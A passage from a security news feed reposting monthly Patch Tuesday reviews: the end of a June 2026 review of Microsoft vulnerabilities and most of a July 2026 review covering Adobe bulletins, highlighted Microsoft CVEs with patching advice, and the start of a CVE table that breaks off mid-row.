  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png" data-image-dimensions="2158x1150" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w" width="2158" height="1150" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  





  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
